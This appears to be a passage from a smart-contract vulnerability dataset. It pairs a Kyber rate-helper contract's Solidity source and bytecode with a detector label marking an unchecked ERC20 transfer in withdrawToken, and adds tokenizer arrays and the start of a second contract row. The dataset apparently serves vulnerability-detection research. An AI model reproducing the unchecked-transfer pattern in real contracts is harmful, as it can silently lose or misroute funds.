TransferAdminPending(newAdmin); emit AdminClaimed(newAdmin, admin); admin = newAdmin; } function onlyAdmin() internal view { require(msg.sender == admin, "only admin"); } function onlyAlerter() internal view { require(alerters[msg.sender], "only alerter"); } function onlyOperator() internal view { require(operators[msg.sender], "only operator"); } } // File: contracts/sol6/utils/WithdrawableNoModifiers.sol pragma solidity 0.6.6; contract WithdrawableNoModifiers is PermissionGroupsNoModifiers { constructor(address _admin) public PermissionGroupsNoModifiers(_admin) {} event EtherWithdraw(uint256 amount, address sendTo); event TokenWithdraw(IERC20 token, uint256 amount, address sendTo); /// @dev Withdraw Ethers function withdrawEther(uint256 amount, address payable sendTo) external { onlyAdmin(); (bool success, ) = sendTo.call{value: amount}(""); require(success); emit EtherWithdraw(amount, sendTo); } /// @dev Withdraw all IERC20 compatible tokens /// @param token IERC20 The address of the token contract function withdrawToken( IERC20 token, uint256 amount, address sendTo ) external { onlyAdmin(); token.transfer(sendTo, amount); emit TokenWithdraw(token, amount, sendTo); } } // File: contracts/sol6/wrappers/KyberRatesQueryHelper.sol pragma solidity 0.6.6; contract KyberRateQueryHelper is WithdrawableNoModifiers, Utils5 { constructor(address _admin) public WithdrawableNoModifiers(_admin) { /* empty body */ } function getRateWithEth(address reserve, IERC20 token, uint256 weiAmount) public view returns(uint256 sellRate, uint256 buyRate, uint256 tweiAmount) { buyRate = IKyberReserve(reserve).getConversionRate( ETH_TOKEN_ADDRESS, token, weiAmount, block.number ); tweiAmount = calcDestAmount(ETH_TOKEN_ADDRESS, token, weiAmount, buyRate); sellRate = IKyberReserve(reserve).getConversionRate( token, ETH_TOKEN_ADDRESS, tweiAmount, block.number ); } function getRatesWithEth(address reserve, IERC20[] calldata tokens, uint256 weiAmount) external view returns(uint256[] memory sellRates, uint256[] memory buyRates) { uint256 numTokens = tokens.length; buyRates = new uint256[](numTokens); sellRates = new uint256[](numTokens); for (uint256 i = 0; i < numTokens; i++) { (buyRates[i], sellRates[i], ) = getRateWithEth(reserve, tokens[i], weiAmount); } } function getRateWithToken(address reserve, IERC20 token, uint256 tweiAmount) public view returns(uint256 buyRate, uint256 sellRate, uint weiAmount) { // uint reserveFee = getFeeForReserve(reserve); // uint256 weiAmountDeductedFee = weiAmount - ((weiAmount * reserveFee) / BPS); sellRate = IKyberReserve(reserve).getConversionRate( token, ETH_TOKEN_ADDRESS, tweiAmount, block.number ); weiAmount = calcDestAmount(token, ETH_TOKEN_ADDRESS, tweiAmount, sellRate); buyRate = IKyberReserve(reserve).getConversionRate( ETH_TOKEN_ADDRESS, token, weiAmount, block.number ); } function getRatesWithToken(address reserve, IERC20[] calldata tokens, uint256 tweiAmount) external view returns(uint256[] memory sellRates, uint256[] memory buyRates) { uint256 numTokens = tokens.length; buyRates = new uint256[](numTokens); sellRates = new uint256[](numTokens); for (uint256 i = 0; i < numTokens; i++) { (buyRates[i], sellRates[i], ) = getRateWithEth(reserve, tokens[i], tweiAmount); } } // function getFeeForReserve(address reserve) public view returns (uint256 feeBps) { // address[] memory reserves = new address[](1); // reserves[0] = reserve; // bool[] memory isFeeAccountedFlags = kyberStorage.getFeeAccountedData(reserves); // (uint256 networkFeeBps, ) = kyberDao.getLatestNetworkFeeData(); // if (reserves[0] == true) return networkFeeBps; // return 0; // } }
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c806377f50f97116100a2578063ac8a584a11610071578063ac8a584a146103ff578063ce56c45414610425578063d59c245c14610451578063de9c1633146104d1578063f851a440146105075761010b565b806377f50f97146103a35780637acc8678146103ab5780637c423f54146103d15780639870d7fe146103d95761010b565b80633ccdbb28116100de5780633ccdbb28146102cd578063408ee7fe146103035780635dc98fb61461032957806375829def1461037d5761010b565b806301a12fd314610110578063267822471461013857806327a099d81461015c5780632dd44cff146101b4575b600080fd5b6101366004803603602081101561012657600080fd5b50356001600160a01b031661050f565b005b6101406106bb565b604080516001600160a01b039092168252519081900360200190f35b6101646106ca565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156101a0578181015183820152602001610188565b505050509050019250505060405180910390f35b610234600480360360608110156101ca57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156101f557600080fd5b82018360208201111561020757600080fd5b8035906020019184602083028401116401000000008311171561022957600080fd5b91935091503561072c565b604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b83811015610278578181015183820152602001610260565b50505050905001838103825284818151815260200191508051906020019060200280838360005b838110156102b757818101518382015260200161029f565b5050505090500194505050505060405180910390f35b610136600480360360608110156102e357600080fd5b506001600160a01b0381358116916020810135916040909101351661082b565b6101366004803603602081101561031957600080fd5b50356001600160a01b031661090e565b61035f6004803603606081101561033f57600080fd5b506001600160a01b03813581169160208101359091169060400135610a65565b60408051938452602084019290925282820152519081900360600190f35b6101366004803603602081101561039357600080fd5b50356001600160a01b0316610bd6565b610136610c85565b610136600480360360208110156103c157600080fd5b50356001600160a01b0316610d45565b610164610e38565b610136600480360360208110156103ef57600080fd5b50356001600160a01b0316610e98565b6101366004803603602081101561041557600080fd5b50356001600160a01b0316610ff1565b6101366004803603604081101561043b57600080fd5b50803590602001356001600160a01b031661119a565b6102346004803603606081101561046757600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561049257600080fd5b8201836020820111156104a457600080fd5b803590602001918460208302840111640100000000831117156104c657600080fd5b919350915035611248565b61035f600480360360608110156104e757600080fd5b506001600160a01b03813581169160208101359091169060400135611326565b610140611460565b61051761146f565b6001600160a01b03811660009081526003602052604090205460ff16610572576040805162461bcd60e51b815260206004820152600b60248201526a3737ba1030b632b93a32b960a91b604482015290519081900360640190fd5b6001600160a01b0381166000908152600360205260408120805460ff191690555b6005548110156106b757816001600160a01b0316600582815481106105b457fe5b6000918252602090912001546001600160a01b031614156106af576005805460001981019081106105e157fe5b600091825260209091200154600580546001600160a01b03909216918390811061060757fe5b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550600580548061064057fe5b60008281526020808220830160001990810180546001600160a01b0319169055909201909255604080516001600160a01b03861681529182019290925281517f5611bf3e417d124f97bf2c788843ea8bb502b66079fbee02158ef30b172cb762929181900390910190a16106b7565b600101610593565b5050565b6001546001600160a01b031681565b6060600480548060200260200160405190810160405280929190818152602001828054801561072257602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610704575b5050505050905090565b606080838067ffffffffffffffff8111801561074757600080fd5b50604051908082528060200260200182016040528015610771578160200160208202803683370190505b5091508067ffffffffffffffff8111801561078b57600080fd5b506040519080825280602002602001820160405280156107b5578160200160208202803683370190505b50925060005b81811015610820576107e9888888848181106107d357fe5b905060200201356001600160a01b031687610a65565b508483815181106107f657fe5b6020026020010186848151811061080957fe5b6020908102919091010191909152526001016107bb565b505094509492505050565b61083361146f565b826001600160a01b031663a9059cbb82846040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561089357600080fd5b505af11580156108a7573d6000803e3d6000fd5b505050506040513d60208110156108bd57600080fd5b5050604080516001600160a01b0380861682526020820185905283168183015290517f72cb8a894ddb372ceec3d2a7648d86f17d5a15caae0e986c53109b8a9a9385e69181900360600190a1505050565b61091661146f565b6001600160a01b03811660009081526003602052604090205460ff1615610975576040805162461bcd60e51b815260206004820152600e60248201526d616c65727465722065786973747360901b604482015290519081900360640190fd5b6005546032116109bb576040805162461bcd60e51b815260206004820152600c60248201526b6d617820616c65727465727360a01b604482015290519081900360640190fd5b604080516001600160a01b03831681526001602082015281517f5611bf3e417d124f97bf2c788843ea8bb502b66079fbee02158ef30b172cb762929181900390910190a16001600160a01b03166000818152600360205260408120805460ff191660019081179091556005805491820181559091527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db00180546001600160a01b0319169091179055565b60408051633e6a213960e11b815273eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee60048201526001600160a01b0384811660248301526044820184905243606483015291516000928392839291881691637cd4427291608480820192602092909190829003018186803b158015610add57600080fd5b505afa158015610af1573d6000803e3d6000fd5b505050506040513d6020811015610b0757600080fd5b50519150610b2b73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee8686856114bd565b60408051633e6a213960e11b81526001600160a01b03888116600483015273eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee602483015260448201849052436064830152915192935090881691637cd4427291608480820192602092909190829003018186803b158015610b9f57600080fd5b505afa158015610bb3573d6000803e3d6000fd5b505050506040513d6020811015610bc957600080fd5b5051969195509350915050565b610bde61146f565b6001600160a01b038116610c27576040805162461bcd60e51b815260206004820152600b60248201526a06e65772061646d696e20360ac1b604482015290519081900360640190fd5b604080516001600160a01b038316815290517f3b81caf78fa51ecbc8acb482fd7012a277b428d9b80f9d156e8a54107496cc409181900360200190a1600180546001600160a01b0319166001600160a01b0392909216919091179055565b6001546001600160a01b03163314610cd2576040805162461bcd60e51b815260206004820152600b60248201526a6e6f742070656e64696e6760a81b604482015290519081900360640190fd5b600154600054604080516001600160a01b03938416815292909116602083015280517f65da1cfc2c2e81576ad96afb24a581f8e109b7a403b35cbd3243a1c99efdb9ed9281900390910190a160018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b610d4d61146f565b6001600160a01b038116610d92576040805162461bcd60e51b8152602060048201526007602482015266061646d696e20360cc1b604482015290519081900360640190fd5b604080516001600160a01b038316815290517f3b81caf78fa51ecbc8acb482fd7012a277b428d9b80f9d156e8a54107496cc409181900360200190a1600054604080516001600160a01b038085168252909216602083015280517f65da1cfc2c2e81576ad96afb24a581f8e109b7a403b35cbd3243a1c99efdb9ed9281900390910190a1600080546001600160a01b0319166001600160a01b0392909216919091179055565b60606005805480602002602001604051908101604052809291908181526020018280548015610722576020028201919060005260206000209081546001600160a01b03168152600190910190602001808311610704575050505050905090565b610ea061146f565b6001600160a01b03811660009081526002602052604090205460ff1615610f00576040805162461bcd60e51b815260206004820152600f60248201526e6f70657261746f722065786973747360881b604482015290519081900360640190fd5b600454603211610f47576040805162461bcd60e51b815260206004820152600d60248201526c6d6178206f70657261746f727360981b604482015290519081900360640190fd5b604080516001600160a01b03831681526001602082015281517f091a7a4b85135fdd7e8dbc18b12fabe5cc191ea867aa3c2e1a24a102af61d58b929181900390910190a16001600160a01b03166000818152600260205260408120805460ff191660019081179091556004805491820181559091527f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b0180546001600160a01b0319169091179055565b610ff961146f565b6001600160a01b03811660009081526002602052604090205460ff16611055576040805162461bcd60e51b815260206004820152600c60248201526b3737ba1037b832b930ba37b960a11b604482015290519081900360640190fd5b6001600160a01b0381166000908152600260205260408120805460ff191690555b6004548110156106b757816001600160a01b03166004828154811061109757fe5b6000918252602090912001546001600160a01b03161415611192576004805460001981019081106110c457fe5b600091825260209091200154600480546001600160a01b0390921691839081106110ea57fe5b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550600480548061112357fe5b60008281526020808220830160001990810180546001600160a01b0319169055909201909255604080516001600160a01b03861681529182019290925281517f091a7a4b85135fdd7e8dbc18b12fabe5cc191ea867aa3c2e1a24a102af61d58b929181900390910190a16106b7565b600101611076565b6111a261146f565b6040516000906001600160a01b0383169084908381818185875af1925050503d80600081146111ed576040519150601f19603f3d011682016040523d82523d6000602084013e6111f2565b606091505b505090508061120057600080fd5b604080518481526001600160a01b038416602082015281517fec47e7ed86c86774d1a72c19f35c639911393fe7c1a34031fdbd260890da90de929181900390910190a1505050565b606080838067ffffffffffffffff8111801561126357600080fd5b5060405190808252806020026020018201604052801561128d578160200160208202803683370190505b5091508067ffffffffffffffff811180156112a757600080fd5b506040519080825280602002602001820160405280156112d1578160200160208202803683370190505b50925060005b81811015610820576112ef888888848181106107d357fe5b508483815181106112fc57fe5b6020026020010186848151811061130f57fe5b6020908102919091010191909152526001016112d7565b60408051633e6a213960e11b81526001600160a01b03848116600483015273eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee60248301526044820184905243606483015291516000928392839291881691637cd4427291608480820192602092909190829003018186803b15801561139e57600080fd5b505afa1580156113b2573d6000803e3d6000fd5b505050506040513d60208110156113c857600080fd5b505191506113ec8573eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee86856114bd565b60408051633e6a213960e11b815273eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee60048201526001600160a01b03888116602483015260448201849052436064830152915192935090881691637cd4427291608480820192602092909190829003018186803b158015610b9f57600080fd5b6000546001600160a01b031681565b6000546001600160a01b031633146114bb576040805162461bcd60e51b815260206004820152600a60248201526937b7363c9030b236b4b760b11b604482015290519081900360640190fd5b565b60006114db836114cc876114e6565b6114d5876114e6565b856115ac565b90505b949350505050565b60006001600160a01b03821673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415611515575060126115a7565b6001600160a01b038216600090815260066020526040902054806115a457826001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561156c57600080fd5b505afa158015611580573d6000803e3d6000fd5b505050506040513d602081101561159657600080fd5b505160ff1691506115a79050565b90505b919050565b60006b204fce5e3e25026110000000851115611602576040805162461bcd60e51b815260206004820152601060248201526f737263517479203e204d41585f51545960801b604482015290519081900360640190fd5b6a084595161401484a000000821115611654576040805162461bcd60e51b815260206004820152600f60248201526e72617465203e204d41585f5241544560881b604482015290519081900360640190fd5b8383106116cf57601284840311156116b3576040805162461bcd60e51b815260206004820152601860248201527f647374202d20737263203e204d41585f444543494d414c530000000000000000604482015290519081900360640190fd5b670de0b6b3a7640000858302858503600a0a025b0490506114de565b60128385031115611727576040805162461bcd60e51b815260206004820152601860248201527f737263202d20647374203e204d41585f444543494d414c530000000000000000604482015290519081900360640190fd5b828403600a0a670de0b6b3a764000002828602816116c757fefea2646970667358221220ac2abbadaacb9434d02f468c5c1d5f392cbcaa59dd0f68bd9569877fc83e356b64736f6c63430006060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 27814, 4215, 2620, 19317, 24434, 8889, 2050, 2549, 7011, 2549, 2094, 2581, 2581, 2050, 2683, 2509, 2063, 2509, 2278, 26337, 10354, 24594, 18827, 2629, 8586, 2581, 23777, 1013, 1013, 5371, 1024, 8311, 1013, 14017, 2575, 1013, 29464, 11890, 11387, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1020, 1012, 1020, 1025, 8278, 29464, 11890, 11387, 1063, 2724, 6226, 1006, 4769, 25331, 1035, 3954, 1010, 4769, 25331, 1035, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 1035, 3643, 1007, 1025, 3853, 14300, 1006, 4769, 1035, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 1035, 3643, 1007, 6327, 5651, 1006, 22017, 2140, 3112, 1007, 1025, 3853, 4651, 1006, 4769, 1035, 2000, 1010, 21318, 3372, 17788, 2575, 1035, 3643, 1007, 6327, 5651, 1006, 22017, 2140, 3112, 1007, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,690
0x958b586b7d9f45b91514d37fd13884bfb12b1516
// File: contracts/ChiGasSaver.sol pragma solidity >=0.4.22 <0.8.0; interface IFreeFromUpTo { function freeFromUpTo(address from, uint256 value) external returns(uint256 freed); } contract ChiGasSaver { modifier saveGas(address payable sponsor, address chiToken) { uint256 gasStart = gasleft(); _; uint256 gasSpent = 21000 + gasStart - gasleft() + 16 * msg.data.length; IFreeFromUpTo chi = IFreeFromUpTo(chiToken); chi.freeFromUpTo(sponsor, (gasSpent + 14154) / 41947); } } // File: @openzeppelin/contracts/GSN/Context.sol /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event 